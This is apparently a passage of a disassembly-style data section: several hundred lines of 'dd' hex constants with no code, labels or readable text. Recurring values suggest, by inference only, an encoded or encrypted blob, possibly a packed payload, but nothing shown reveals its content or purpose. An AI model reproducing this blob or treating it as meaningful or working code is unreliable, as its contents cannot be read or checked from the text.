		dd 0C3F6D166h, 6FFD0EABh, 87F3F4C6h, 0AB3D75A5h, 11321567h
		dd 0D2D9949Ah, 253B1EE0h, 2233AF34h, 0E3331566h, 9CB90FECh
		dd 40F69642h, 0D284479Eh, 5B9E646h, 8CF69442h, 4B321566h
		dd 223214EBh, 5DBE966h,	0C3321566h, 0C505F7D2h,	292B5D37h
		dd 0FFCC8E7h, 62A3ED83h, 0C414C7D9h, 0A73D959Dh, 0EECDEAF7h
		dd 3361439Fh, 4F8C20BBh, 26164967h, 0FAB34E3Dh,	838C20BBh
		dd 4432198Fh, 9C4A9B66h, 18C3178Fh, 0F8B18DD2h,	0FD63471Eh
		dd 22321560h, 106BDFEFh, 0D8CA4FB5h, 443217DEh,	73C21466h
		dd 113215DFh, 8BF31466h, 246A4C7Fh, 2234FC06h, 2B9B1566h
		dd 1DC0E5FDh, 259FFEE6h, 22321B8Fh, 3C84A666h, 0D597489Fh
		dd 267801DFh, 43682F48h, 1132D78Fh, 60807566h, 0EC2536DCh
		dd 73CE7471h, 0D213CADFh, 86FB9470h, 550C91Dh, 0CBB3C491h
		dd 98129178h, 91B9E467h, 56BA1A3Fh, 42321566h, 1132128Eh
		dd 0AAE52E66h, 0E7D77EB4h, 83C6953Dh, 0EAB1ED07h, 61B61A9Dh
		dd 0AD321566h, 2232156Eh, 1982F709h, 98A475F1h,	9D8D1A06h
		dd 0A66AFDE7h, 41534945h, 4BBB4D30h, 49BF1A3Eh,	0CB321566h
		dd 1132156Eh, 7D0F31F5h, 2FA15D1Dh, 0FD5A4636h,	4A696D4Bh
		dd 69C19425h, 0CD696D4Bh, 0D2334EBEh, 716A0D65h, 0E8E3A269h
		dd 44329C69h, 0A63D1566h, 11321566h, 85DB7407h,	90321566h
		dd 695B2E3Ah, 8EFFBBF8h, 50279B0Ch, 0CD36F9E5h,	278D315Ah
		dd 10321566h, 61CE4A9Dh, 0BBCDEB3Fh, 2232188Fh,	0A46CCC66h
		dd 294B510h, 0D2979985h, 943DB465h, 90521438h, 1F824295h
		dd 8BB97328h, 953D7507h, 0EBB973ACh, 0A6D99607h, 0BA159169h
		dd 27DBEA99h, 5E321566h, 0F4DFAC42h, 4432328Fh,	5CB2E066h
		dd 943DEB67h, 77CDEB6Bh, 44339E69h, 0CBCE1566h,	11321576h
		dd 8995A08Fh, 347AF771h, 7C19F111h, 9CA73F1h, 77CE2B8Fh
		dd 43BC1A99h, 2D321566h, 113214EFh, 925AE066h, 0CD321513h
		dd 73CA3152h, 0D0B3F4EFh, 88321562h, 4436FCE7h,	2EB51566h
		dd 1DBB4942h, 8838FC42h, 0D3A51566h, 0C59D831Fh, 7C9448A6h
		dd 882CC10Eh, 602E9C66h, 2234FC06h, 1B651566h, 7655414Dh
		dd 4432138Fh, 0C851A366h, 7010EEDFh, 8819450Eh,	600E9C66h
		dd 2237FD06h, 0FCBD1566h, 0EE5897A4h, 1EDD3ED9h, 0D98D1A31h
		dd 7752743Fh, 60CC56D8h, 44321575h, 299E8045h, 0CA10C3ECh
		dd 0C3E6C0C6h, 5DC7BEBDh, 0DEFE5C58h, 0D103743Dh, 61F99E06h
		dd 44321563h, 0B26F67F7h, 933D74A8h, 88321563h,	0B86B4606h
		dd 4452B907h, 0AE9BC6E7h, 88321B8Fh, 0C9474B66h, 0F2750BDh
		dd 61792EF0h, 0E9920EF6h, 44321C8Fh, 51110966h,	316B510Dh
		dd 64B3F7F7h, 44321562h, 0AA1619EFh, 48D99DA3h,	8CB01A06h
		dd 22321566h, 0A33BD6DCh, 0E1732BB0h, 0E0547450h, 0CD541DC6h
		dd 0D2803172h, 4B54C646h
		dd 883DFC9Ah, 2D051566h, 79569C89h, 2F87038Bh, 5EBF6B2Bh
		dd 34C995A5h, 24359169h, 1ECE1566h, 88321FE5h, 25527566h
		dd 3EA9C6E7h, 2D533715h, 8CB61A69h, 24321567h, 235DAE00h
		dd 1132198Fh, 0E0B1C566h, 42A6A671h, 924E8392h,	0F80E74E4h
		dd 82809169h, 4CDB1566h, 0F8321566h, 93D584F9h,	870A24BBh
		dd 443214E5h, 0C90EED66h, 1FD79169h, 87521566h,	443217E6h
		dd 0CBE79F66h, 1132156Bh, 1810889Ah, 2727CEDBh,	916ED9B5h
		dd 0F20E74ADh, 8B999169h, 0C83D1566h, 2232156Eh, 11309E69h
		dd 0E9521566h, 0C03DF75Ah, 22320505h, 11399D69h, 8EDB1566h
		dd 5F321566h, 5950AC05h, 3506EA29h, 8CF69439h, 4B321566h
		dd 223213E1h, 4F637566h, 77534F35h, 0C7693152h,	445211A2h
		dd 775941DEh, 0E9C7F6DCh, 1D162199h, 4236D1E5h,	1123FC06h
		dd 63051566h, 0F28AF0B8h, 0DA532EF2h, 928F9D2Bh, 3861861h
		dd 0CF3D74B5h, 22321564h, 0EE53D1D0h, 96C3152h,	443211A2h
		dd 2239FC66h, 23E61566h, 84A411DDh, 0BAA8A49Ah,	42F1EC14h
		dd 660BD6E7h, 63D33B8h,	44321564h, 0E5534A30h, 0BA6C0E3h
		dd 88321360h, 4434FC66h, 0E5A41566h, 0D76CADDBh, 0ABD8AD36h
		dd 0AF176662h, 623B4554h, 1110FE53h, 2C21467h, 4B524D7Eh
		dd 223216ECh, 0C6B97366h, 0B8897336h, 0B8534C42h, 0AB36F9E5h
		dd 0E1843172h, 6168E646h, 44321560h, 95C8FA22h,	0EAB2C0B0h
		dd 0AEB71AE6h, 0ADCDEA99h, 2232156Ch, 7886BDFFh, 95140EB8h
		dd 0FB655A25h, 0DDCDEA99h, 0F86DEB67h, 88321561h, 49B29D6Ch
		dd 0A94500E1h, 213B0E3h, 1DB9ED60h, 42210F63h, 2221FD06h
		dd 743A1566h, 0A6822D17h, 0BD7F6E7Eh, 36ECAD5Bh, 7E72FE97h
		dd 3E6CE96Fh, 116474B0h, 7D056DDBh, 355E3C7Eh, 9694862h
		dd 1B056DA5h, 2222FC7Eh, 1DA11566h, 7D5861CDh, 0AD742FA4h
		dd 0A7E3271Ch, 0FDB1292Ah, 0AC269C62h, 443213DCh, 78E11466h
		dd 113E9869h, 53D1566h,	44321560h, 22329269h, 0A8631566h
		dd 9C014780h, 0E92ED4E7h, 0D333FEAAh, 0E96B0C65h, 0A3DCD5Dh
		dd 44321556h, 22229669h, 1ADB1566h, 6C321566h, 38986FEh
		dd 2321A1FCh, 0CB0952ADh, 76659369h, 2452EA99h,	22329D69h
		dd 903D1566h, 88321566h, 25B2A007h, 4CC5D6E7h, 0FAB340E3h
		dd 0C9C524A9h, 87B3EE4Fh, 63C524A9h, 7FC5FEE7h,	3A5240E3h
		dd 0C553E970h, 2232118Ah, 35269C66h, 883213DCh,	1EE13C66h
		dd 2232018Fh, 2A150366h, 0B40773ECh, 0C3243A90h, 0E91728B2h
		dd 0BF4F719Dh, 0E89F7394h, 7B1EAD00h, 22321B8Eh, 77DBAF66h
		dd 288F6A0Ch, 39B3BE81h, 7B0C600Fh, 71997307h, 0E9C7DAEDh
		dd 8703CD57h, 2CDBCD57h, 0FE321566h, 0DA01962Fh, 4A4C5A2h
		dd 140795C6h, 913DBEDEh, 88321561h, 9A8D1A06h, 75537406h
		dd 113211D9h, 3CC1466h,	80B1315Ah, 223AFC62h, 938C1566h
		dd 0DA0E8E8h, 4DDB9DE9h, 94321566h, 0DDA4D12Eh,	74800C57h
		dd 4B1629EFh, 223218EFh, 113AFC66h, 38001566h, 17C6FC5Eh
		dd 2BDB2E18h, 0D0321566h, 85596F4Eh, 0BF222CB6h, 2E1661EFh
		dd 11209F69h, 53D1566h,	4432156Ah, 2232128Fh, 5E5F866h
		dd 956CA47Eh, 7537A0EFh, 0A33D1375h, 11321575h,	88321B8Fh
		dd 0F279D466h, 0C2EF4F3h, 482DBCAAh, 32AF49Fh, 0CD67315Ah
		dd 26F79483h, 90321566h, 883211A3h, 601E9266h, 4461753Ah
		dd 4F9DD6DCh, 8832018Eh, 9155D66h, 0EDEF9D8Bh, 12EC748Fh
		dd 1201BE4Fh, 20858D2Eh, 7B5375DFh, 3506EA07h, 8CF6963Dh
		dd 6006EA9Ah, 26F6943Fh, 0E9321566h, 0AC06EA9Eh, 40F69638h
		dd 79664693h, 1136D6E7h, 4BB11566h, 602E9262h, 9CDBED3Ah
		dd 71CDEAB8h, 882B9269h, 50DB1566h, 52321566h, 6E46EBA2h
		dd 0F4F73B21h, 37F606AFh, 19300EDCh, 1EC7A061h,	883207E6h
		dd 443FFC66h, 0B8321566h, 1809A9C1h, 0CECC13C8h, 2548DC33h
		dd 0E4B37306h, 0D3B9EF1Ch, 5DB7D207h, 46340FF2h, 42321566h
		dd 1132188Fh, 85735766h, 1EF0C058h, 21DB84AFh, 0AF54C0C4h
		dd 0E8539FDDh, 44309269h, 43521566h, 4A6C4636h,	8CB34307h
		dd 0A2193342h, 62E9E00h, 9036D1E5h, 6E19338Dh, 5CB81A00h
		dd 0CB321566h, 11321575h, 0ED70D152h, 32EC9F45h, 0B04C0DDDh
		dd 6CB1C6AEh, 87AEEE05h, 0C4CA1BD0h, 0A13D959Fh, 1132150Bh
		dd 88239469h, 0C93D1566h, 2232156Dh, 1132138Fh,	12EAD866h
		dd 0C5152B29h, 716FD58Dh, 66F1946Ah, 8964B57Dh,	33D994ADh
		dd 0A364B57Dh, 426FD5A5h, 8FB31A6Ah, 4B321566h,	223214EAh
		dd 0EE61EC66h, 94B93162h, 40F69442h, 0CB321566h, 11321577h
		dd 64276F2Ch, 6B09BF14h, 4E890FE3h, 91260AA8h, 88A3FC7Fh
		dd 0C33D1566h, 22321567h, 3F85469Ah, 864FAE6h, 8BCC6AA9h
		dd 9262D298h, 3DEAE3E9h, 7E1C31C0h, 443911B6h, 0DB1A4DA1h
		dd 1138FC3Dh, 8ED51566h, 2B05F573h, 7493E380h, 0AA61FCE1h
		dd 88321566h, 99B5FE4Fh, 2DDB923Dh, 113213E6h, 0EECE7566h
		dd 1653E5EDh, 2232EADCh, 9AE33466h, 4CB13172h, 443CFC62h
		dd 0B3331566h, 2C4DFFB7h, 7E2E5C88h, 0DD9D9DA9h, 6BDEFEE7h
		dd 0DA1B1C51h, 0C1DEA833h, 0AF331C51h, 223BFC3Bh, 0A8C51566h
		dd 12F10628h, 0CF37065Eh, 3113B0E3h, 973D7560h,	88321563h
		dd 0F25253DCh, 0A953E054h, 22810F3h, 8822FC60h,	20621566h
		dd 0CD618616h, 0B8C2CDB5h, 9A32653Dh, 0F9B18A1Dh, 242114C3h
		dd 0F9B61A67h, 87321565h, 443214E4h, 1BC7EC66h,	0C9B01AA5h
		dd 61321565h, 4432156Dh, 0F8C1BBEAh, 637FFF49h,	0B1B50407h
		dd 0F6B01AB5h, 0DACDEA9Ch, 1131AF8Fh, 86BE1A66h, 24321566h
		dd 0A7FDCCE7h, 0C7B36AC5h, 9BC834D2h, 91B7D207h, 20340FF2h
		dd 1E321566h, 883214E2h, 0A8B3E966h, 22321562h,	901621EFh
		dd 0A3C23162h, 0C5692347h, 319E58Dh, 1135FC50h,	59421566h
		dd 0BB8F995Dh, 2C841A41h, 113B9469h, 70521566h,	3B9BC3E7h
		dd 0A2532DB3h, 923D959Fh, 8832153Ah, 93B9EC06h,	6CF19407h
		dd 902C0B7Eh, 2C3779A5h, 0C5F9144Eh, 8637798Dh,	5FD9944Eh
		dd 612C0B7Eh, 44321574h, 0CD4F425Ch, 0A2EC9BBh,	2D10A53Ah
		dd 40E6050Ah, 9F67ECFFh, 3449460Dh, 977C091h, 872154ABh
		dd 0F6C79414h, 10C8D2D9h, 83D488Dh, 44321567h, 0ABDBE99Fh
		dd 0E9321566h, 0A0CDA235h, 602E9E9Fh, 2D36D1E5h, 11320DE3h
		dd 8821FC66h, 0B9C31566h, 3AA192CDh, 25104C80h,	673E624Eh
		dd 71497574h, 228C43D9h, 90321566h, 0D26397A0h,	0C5FC3C70h
		dd 78639788h, 4FC39C70h, 778A459Fh, 65321566h, 6369EA7h
		dd 1136D1E7h, 84DB1566h, 0A9321566h, 2C54C0DCh,	0F77EF28Dh
		dd 0DA46BF63h, 374D44DCh, 78E1142Dh, 0FAB3DE4Fh, 0C3416A37h
		dd 44321A8Fh, 0B77C7666h, 87BF04Fh, 653D327Ch, 0D969A124h
		dd 39790EDh, 9A3D1375h,	88321567h, 41A79E9Eh, 4234067Ch
		dd 1EEADEE6h, 0B53C7D1h, 5733B0DBh, 0A63D1460h,	1132172Dh
		dd 883D9669h, 4EDB1566h, 6F321566h, 1C40F435h, 2D9B1797h
		dd 9C09E9C7h, 22139769h, 9E3D1566h, 8832156Ah, 4432128Fh
		dd 3B9FD966h, 1A13F260h, 0E3DC65Fh, 0BBCDEC63h,	22339469h
		dd 46CA1566h, 3B35EFD9h, 0D6D59462h, 6566F047h,	1853F2E7h
		dd 6FF37F49h, 65C59463h, 0B363546h, 40CE4A98h, 0E2A635h
		dd 0A5B24EBFh, 0D5C395D0h, 9134FCA6h, 40BA1BA7h, 0BD98E03Fh
		dd 2236F9E7h, 5BB1566h
		dd 8832AF42h, 0B6331566h, 0DA681FECh, 0A26177D6h, 8CD9D58Ah
		dd 97C4DE98h, 0C9B2DE98h, 4AEA3D54h, 8A06C590h,	9906DD98h
		dd 2232138Fh, 22817166h, 0D8647664h, 8427A734h,	0E8CC108Ch
		dd 0EF70DFE6h, 99F095ACh, 6468C1EEh, 2ADB4D87h,	45321566h
		dd 47E4F4E9h, 4CBC678Eh, 2220FCAEh, 0ADF11566h,	6A61EDD1h
		dd 13A4848Ah, 9B0B8E2Fh, 2DEEE80Eh, 8826FCCCh, 0CCE11566h
		dd 3980AB15h, 40FA35FCh, 0D2A840D7h, 8BB9217h, 9C64D326h
		dd 7E1D07CAh, 0A16CE64Fh, 0E8F1949Dh, 0D75D3A74h, 1136A833h
		dd 631B1566h, 0C51639EDh, 223211A2h, 0FDB3ED66h, 88321562h
		dd 171611EFh, 44524E3Eh, 0F84DAEDCh, 88321561h,	0EB0BDC54h
		dd 43991626h, 1134FCCDh, 0E9BA1566h, 1ECE8A29h,	2236F9E7h
		dd 15BB1566h, 8830AD42h, 82331566h, 223EFC3Eh, 8A131566h
		dd 107B1737h, 1374F598h, 97BBC31Fh, 17212463h, 2DB7D29Ah
		dd 45340667h, 0D7321566h, 1132108Fh, 7B5CD066h,	0CD62CC7Ch
		dd 22361086h, 0D1B11566h, 0AC362662h, 77161157h, 0D76E3162h
		dd 461609EDh, 4FB3F2EFh, 44321562h, 2236D2E7h, 2DB51566h
		dd 0E3D4942h, 44321567h, 63E9E9Fh, 90D59C31h, 883211A1h
		dd 40F59466h, 0A5321566h, 0F86E315Ah, 88321561h, 21F7B451h
		dd 71DCC50Ah, 0D2B3F6EFh, 88321562h, 1736D6E5h,	26166199h
		dd 35369A3Dh, 9CBF1A3Ah, 0AD321566h, 22321569h,	0CBAFF1F7h
		dd 81038CFh, 2F9E6041h,	77C7E049h, 0D4B3F0EFh, 88321562h
		dd 4436AB30h, 0D7331566h, 351E9238h, 8EDBEC3Ah,	0ADCDEABFh
		dd 22321569h, 781A33CAh, 0C44B186Ch, 0F79F1BB6h, 4A1327CCh
		dd 113243E1h, 771621EFh, 0BD6C316Ah, 0FAC40DD6h, 0A760C590h
		dd 0D2C2151Eh, 0ACF2D598h, 4225396Eh, 7CC09400h, 77851A8Bh
		dd 2252BF07h, 0CB779CD9h, 11321561h, 1CEFE2CEh,	255F247Eh
		dd 0ABC39C37h, 353E9EAEh, 8836D1E7h, 0B8C71566h, 7EEAA31h
		dd 0E91B4AB0h, 8DCA3C39h, 1BE430BAh, 725FAC06h,	0A63D0D49h
		dd 64B374BDh, 44321562h, 9B1619EFh, 11321562h, 0E86BDD4Fh
		dd 4432108Fh, 8B5B6C66h, 1DBF5B4h, 2D321566h, 287E40FDh
		dd 0FB7DDEEFh, 0DBF070DDh, 0E9160AF8h, 4437FCCDh, 21D1566h
		dd 41DD5DF1h, 8C374D32h, 0C7321566h, 26B511A6h,	18DB4942h
		dd 0E7321566h, 2D0E43ABh, 0EB911150h, 421609EDh, 4BB3F6EFh
		dd 44321562h, 2236D6E7h, 0DB51566h, 3CB4942h, 0CD65316Ah
		dd 26F59481h, 92321566h, 0B4B511A1h, 0CFC74942h, 0AB603152h
		dd 15F09484h, 0B321566h, 50B511A4h, 70C74942h, 0AF64F7EFh
		dd 0ABAC7F50h, 0C57CC391h, 8D785890h, 0FFB35308h, 3AFCCAE4h
		dd 0C76CE767h, 36B511A4h, 9A3D4942h, 88321567h,	9F19FC9Eh
		dd 2D52EA99h, 113213E5h, 88BC1A66h, 25321566h, 0B6E790A1h
		dd 1137137Ch, 3D1566h, 4432156Ch, 0D0B97306h, 1AF89400h
		dd 36474B6h, 80B3317Ah,	22321562h, 1BBF1A9Ah, 0E8321566h
		dd 44329F69h, 43521566h, 0AB604307h, 86327CBFh,	445BC8D8h
		dd 78E42468h, 716CE667h, 88321A8Fh, 96B97066h, 0F08FC4FCh
		dd 0BB9EEBCAh, 0BA5F03B3h, 4421FC06h, 0E3541566h, 0D1A3BBFCh
		dd 850E4F01h, 604BE06Dh, 7C4966D5h, 11BC1AC1h, 0E9321566h
		dd 448B4407h, 0A3321566h, 0F07B50A7h, 9C3143Bh,	0A57B508Fh
		dd 7B2B163Bh, 0C3851A06h, 75E39400h, 0C1B974BAh, 242134C3h
		dd 77FA9E06h, 0B0D4DAE7h, 41A79E07h, 0D734067Ch, 1133AE35h
		dd 561B1566h, 443BFC3Dh, 0EC5B1566h, 0EB521ED4h, 0B688244h
		dd 5716DCDBh, 0A63D1460h, 11321263h, 88321D8Fh,	0A7B5AE66h
		dd 567A535Dh, 1EEA2EB7h, 88323AE4h, 0ACB37566h,	5F7A06A3h
		dd 1EE82E07h, 883381E0h, 0C43DEC66h, 2232157Eh,	1132068Fh
		dd 9B349866h, 9ACFB73Dh, 915120A1h, 0CFC65BE6h,	171025Eh
		dd 7537A0EFh, 0CB521375h, 1132156Eh, 8A1B2D16h,	0B58B35D7h
		dd 22349E69h, 0DFB31566h, 0D58A2EA7h, 91AF9E07h, 0CB340FF2h
		dd 11321563h, 22F09041h, 605E944Dh, 0B143D96Ah,	3576942Ch
		dd 0A313516Ah, 606E1467h, 65E946Ah, 3A13516Ah, 0AC769467h
		dd 0D743D96Ah, 0A23D752Ch, 11321560h, 88329769h, 0A1B81566h
		dd 2465FC07h, 71521566h, 0CEE3AD00h, 44329769h,	9A531566h
		dd 758A4BF7h, 0AC0E9E07h, 0C5D49C30h, 223211A0h, 15F49666h
		dd 0D41621E1h, 4432068Fh, 0CA3BA866h, 0DB8CAE5Ah, 8CFD37E4h
		dd 0FDD51B4Ch, 0FAEA3EB8h, 11389B69h, 87521566h, 443215EEh
		dd 43E59E66h, 35FB90A1h, 88331375h, 4EDB1566h, 5321566h
		dd 0F9A212D6h, 4B0910Bh, 602E9E3Ch, 0A3D49C30h,	113211A0h
		dd 8CF49666h, 181621E1h, 606EA9Eh, 15F6943Fh, 61321566h
		dd 44321568h, 4D26A9D4h, 52E976FBh, 7F4D714Bh, 22521BCCh
		dd 32DBD7EDh, 0C8321566h, 894C6C89h, 0F5A954EEh, 687E9E99h
		dd 700D814Ch, 0D6162199h, 4436D1E7h, 0A03D1566h, 11321577h
		dd 88399569h, 42DB1566h, 13321566h, 50072882h, 6BBB4658h
		dd 4F18AC37h, 0FBC5481Bh, 0F8F3C491h, 49E3E260h, 0B5B31D8Fh
		dd 22CC9F69h, 926BDE67h, 94B511A5h, 14524942h, 7CC9A269h
		dd 0C419FC07h, 73DEA99h, 44321567h, 878F969Eh, 10340667h
		dd 8D0D9169h, 0AD521566h, 22321560h, 0E87EA580h, 6052D9F8h
		dd 4432156Ah, 124A6BFh,	1143480Bh, 3325B52Bh, 4422FC3Eh
		dd 78461566h, 15BDA42Dh, 9DA9700Ch, 23057DC5h, 43538D0Dh
		dd 3097884Dh, 86DB1375h, 0E5321566h, 0DEE94BA1h, 217ECC10h
		dd 2F03C766h, 0B1BF9EBBh, 0CB340678h, 1132156Ch, 0B5B53067h
		dd 440E0A40h, 0E3B35508h, 59116406h, 3567CC67h,	0C116406h
		dd 426FFC4Fh, 0F8C29E00h, 88321560h, 0FEC4B470h, 0A3536966h
		dd 0EB63FD8Fh, 0DDF39408h, 6D737726h, 77DB949Fh, 90737726h
		dd 7263FDA7h, 5BB71A08h, 42321566h, 1132048Eh, 0E365AD66h
		dd 0C5ECFA0Eh, 69D7165Ch, 4753E48Ch, 969A31Eh, 70BF39B5h
		dd 9A627463h, 30F11F90h, 0F5352963h, 61E2E21Ah,	42081C6Ah
		dd 1C30F5A7h, 0FD167E93h, 0A85DE553h, 7AF33C93h, 1132128Fh
		dd 82715766h, 5D7D1EC9h, 9F854637h, 0EC024DD3h,	74DF953Dh
		dd 0BC6BFDEEh, 2ADBE0CCh, 4A321566h, 78EFEE64h,	2C8E0502h
		dd 22320D96h, 401611EFh, 23CA4C3Eh, 42B21A06h, 0A3321566h
		dd 0C2E6DB8Dh, 0E9D79F25h, 0C5D09C34h, 223211A4h, 158A4566h
		dd 89321566h, 50B54DA4h, 0A03D4942h, 11321567h,	0AC2E9E9Fh
		dd 0C5D59C31h, 223211A1h, 15F59666h, 0D41629E1h, 25F59F06h
		dd 7B162199h, 1136D1E7h, 77CA1566h, 0C56C3152h,	223211A2h
		dd 113EFC66h, 2FF61566h, 2072AF50h, 41344806h, 9863FEDCh
		dd 8CF39487h, 13321566h, 223211D9h, 4ECB1466h, 0D41619E1h
		dd 44359069h, 0AA3D1566h, 11321567h, 5EFDFC9Eh,	83C7EA99h
		dd 38A6C0E3h, 11321760h, 8835FC66h, 0BAF81566h,	1403A644h
		dd 0E0BB44BAh, 616B4E37h, 4432156Bh, 0DABB2E5Ah, 11D88D43h
		dd 25B36EAAh, 4A841ADAh, 22339069h, 0F8CE1566h,	88321560h
		dd 0F61C3FC2h, 0DBB2894Dh, 6FB11AE6h, 61321566h, 44321568h
		dd 0D3463D8Dh, 6D83132Dh, 60F849D3h, 87B3F681h,	5142684Bh
		dd 5F16D6E7h, 43336793h, 0A16FEE7h, 0C9B36793h,	6242684Bh
		dd 63E09506h, 4ADB7493h, 4321566h, 0CEEE73E5h, 9754D1FEh
		dd 8A9FFE1Ah, 238847C8h, 10321566h, 9BDB4FB5h, 19321566h
		dd 0A72067E2h, 0B85C4E69h
		dd 0A219F51Fh, 0A349EFCDh, 87DB1BBAh, 71321566h, 88321E8Fh
		dd 0EF092366h, 9D8A11F3h, 9863E5F6h, 0DA617307h, 0A6F2FDD4h
		dd 21D8D565h, 0C3C4CF90h, 62B2DF98h, 1EE19D61h,	7954CC4Eh
		dd 11321F8Fh, 0DC3C0C66h, 0DF18AEBEh, 0A14814A6h, 0C0C5148Fh
		dd 88339069h, 12C71566h, 2232EAD8h, 9AC33466h, 4CB13152h
		dd 22647562h, 7D4D60D9h, 11379F69h, 9541566h, 25D18B95h
		dd 7E78A833h, 0D4B33A8Eh, 0D381782Fh, 123AD8E7h, 0E3774877h
		dd 0DCB31683h, 0B1E406C5h, 0F6FCF8E7h, 0C91BF1A9h, 90F93C3Bh
		dd 877F00A5h, 4CDB757Fh, 76321566h, 9E74DD29h, 0E9FFD425h
		dd 659790EDh, 0CB521375h, 11321569h, 3BFFEFEBh,	0F40970ACh
		dd 20C0C22Dh, 77D8A48Ah, 0E9847FDCh, 5E3780EDh,	30DB1375h
		dd 0BA321566h, 577AF2C1h, 0A664AE32h, 0B7659777h, 7533576Eh
		dd 72F4FC35h, 2252EA99h, 0A952CDEDh, 958B73B0h,	87537477h
		dd 443213E5h, 0FDB97566h, 0D6537406h, 92A6C0E3h, 44321760h
		dd 2223FC66h, 24E01566h, 5EF4A5E6h, 86CB3D70h, 2DBD57F0h
		dd 47FD96A3h, 571621E7h, 0CF765533h, 0E6B1317Ah, 0CEC19462h
		dd 70765533h, 243CA369h, 22309569h, 49641566h, 8832108Fh
		dd 0B56FF866h, 0A253B994h, 923D959Fh, 88321550h, 44339569h
		dd 75C71566h, 3112E9D9h, 0D7C9144Ch, 0AFB3DE67h, 812359Ah
		dd 11321C8Fh, 0C956EA66h, 6B7A42B9h, 9D65C78Eh,	11321567h
		dd 7D6DEE67h, 4432828Fh, 7254EC66h, 0A51EA635h,	0D3EE3D4Dh
		dd 1C54F44Eh, 2232068Fh, 0FD92A966h, 62666529h,	0A59C3F42h
		dd 0B30E0BA1h, 0D5392320h, 155A4235h, 1B0EF517h, 53AFE2E7h
		dd 0EABB2986h, 0FF93C39h, 0C73D4EBFh, 2232156Ah, 11349869h
		dd 3D1566h, 44321566h, 2236F9E7h, 25BB1566h, 88CDAB42h
		dd 0B5131566h, 2237FC38h, 0E7A91566h, 9F604AAh,	0E3DA6A5h
		dd 61D9942Ah, 384A6713h, 0CBF194ADh, 0C54A6713h, 683DA68Dh
		dd 113CFC2Ah, 0F05D1566h, 1A5B218Fh, 2E29B9A3h,	8AD6F2B5h
		dd 0A99790EDh, 0C13D1375h, 2232157Ch, 11269869h, 87DB1566h
		dd 0B0321566h, 0F591BF6Ch, 0DF7EDA9Ch, 600C43D9h, 0D1B94D7Dh
		dd 24210F63h, 0CFB97306h, 0A37AB00h, 0E18F9607h, 23340667h
		dd 0E66B9169h, 99DBEA99h, 14321566h, 7AD89549h,	5D9666A8h
		dd 34F8E6Bh, 0E231D8ACh, 2232078Fh, 31180B66h, 79336C5Eh
		dd 45ED4E28h, 0C3067479h, 2AE11AEBh, 9FB01ABEh,	0BC321566h
		dd 0A43DC65Fh, 0EECDFB6Bh, 8FB91A9Fh, 4B321566h, 223214E0h
		dd 0AB60E966h, 77CDEA99h, 0AD68C367h, 22321568h, 0ACAD43C8h
		dd 4AE10C66h, 285C219Eh, 24DB8C75h, 22321566h, 6288156Eh
		dd 0B1BB40CCh, 0EB9FCEFh, 15F69442h, 87321566h,	44321FE2h
		dd 2237FC66h, 35371566h, 9CF5199h, 8438C6A7h, 0C8F39441h
		dd 38299F39h, 62DB949Fh, 0C5299F39h, 0E238C68Fh, 1135FC41h
		dd 8CA01566h, 43FB6D29h, 26DE96C5h, 0AA1609EFh,	88321563h
		dd 0B169CC4Fh, 9298A437h, 397C11F5h, 0D17C39AEh, 0CC3DBF9Ah
		dd 22321565h, 4153ED06h, 886A040Eh, 603E9C66h, 0D7C74C3Eh
		dd 1139FCCDh, 0B1E1566h, 0D9CBF842h, 0EF36DD7Bh, 0C381FCEBh
		dd 0DBC7EA99h, 52277D31h, 0A36D1142h, 484518A9h, 0AD59435h
		dd 0C523086Eh, 3A1E6E81h, 11F5940Ch, 1CDFD66h, 0B7334A9Dh
		dd 0DE6916ECh, 953DFD5Ah, 88321520h, 4BF39E06h,	7353ECD9h
		dd 9F1A09DFh, 9E3E251h,	8F5C99A7h, 3288477Bh, 53760C0Ah
		dd 0AD90FFE7h, 951B48BAh, 7BFA9C3Ch, 11321C8Fh,	0E09C4666h
		dd 0DEABC2FEh, 4BDBF630h, 0F8321567h, 88321560h, 0FC08611Dh
		dd 0BF5A8783h, 98321545h, 86DB317Ah, 0B6321566h, 7040D182h
		dd 0E405A30Bh, 0D37EBF6Bh, 5ED7D93h, 16BB1566h,	9C3D4E42h
		dd 88321567h, 2C62479Fh, 50AC1E6Eh, 4BA7303Eh, 89075D7Fh
		dd 0CD720D6Ch, 0D0334DA4h, 1E680F65h, 883214E8h, 1662EC66h
		dd 223210DCh, 4BE29C66h, 716AD667h, 0CD36F9E5h,	0CA87316Ah
		dd 0F86BFDEEh, 8832156Ah, 96911C8h, 0B8D0BCBFh,	0A411CBE7h
		dd 3062E0CCh, 534E4F3Ch, 0B6AD64Fh, 4BF1949Dh, 8725693Ch
		dd 443212E5h, 23B31A66h, 0ED321566h, 8836A833h,	0AF1B1566h
		dd 0A11639EDh, 9A5211A2h, 29E795BCh, 0A8B34507h, 22321562h
		dd 491609EFh, 9788753Dh, 0AD4DBE49h, 22321561h,	22EB8291h
		dd 0E9E87226h, 0C55475CDh, 0CA06A4B9h, 11321574h, 83AA6ADh
		dd 7FBCADEBh, 6811B0E5h, 2D2879C1h, 47B2312Bh, 0CF534A69h
		dd 0AB62317Ah, 11361086h, 48B11566h, 60369262h,	2237FC3Ah
		dd 0F80A1566h, 874C4692h, 443218E4h, 223AFC66h,	3EE21566h
		dd 0EC548E66h, 0FC62FB58h, 22321563h, 15B9D367h, 8CF69442h
		dd 4B321566h, 22321DECh, 913D7566h, 88321566h, 735A4407h
		dd 7B13E96Eh, 7274D4E7h, 37650214h, 6E7A44FAh, 0E36DEC67h
		dd 0D0B3168Fh, 7BBB3D38h, 0B86BDDEFh, 0A35475A5h, 0E971F9A6h
		dd 95D97D07h, 48BB1566h, 28BC1A42h, 71321566h, 0AD659EDDh
		dd 0B6B9733Ah, 14CD7307h, 35369E00h, 8830D1E7h,	24521566h
		dd 22329269h, 90541566h, 0E97AF38Eh, 44319469h,	953D1566h
		dd 0D20E74B1h, 89649169h, 0FA521566h, 0C104490h, 78E89400h
		dd 8DDB74BCh, 0C7321566h, 8D86A37Eh, 953DDE5Ah,	8832145Eh
		dd 4BF02993h, 22337DE2h, 903DED66h, 8832156Bh, 44B51A06h
		dd 98321566h, 68C4B940h, 87F82907h, 443359E2h, 2223FC66h
		dd 83E81566h, 0C07ABCAh, 8D24FCECh, 9259CA43h, 7114957Dh
		dd 8DDA449Ah, 36321566h, 0B748DF60h, 77534A3Fh,	8717EA5Bh
		dd 44335AE2h, 0A9547566h, 12B21AB5h, 87321566h,	0AD53C5D9h
		dd 22321568h, 0B9CB8B3Ah, 10CE30F2h, 0E259B05Dh, 1F540535h
		dd 943DEA48h, 8832150Bh, 0ADC29E06h, 22321560h,	0B2C0ABD5h
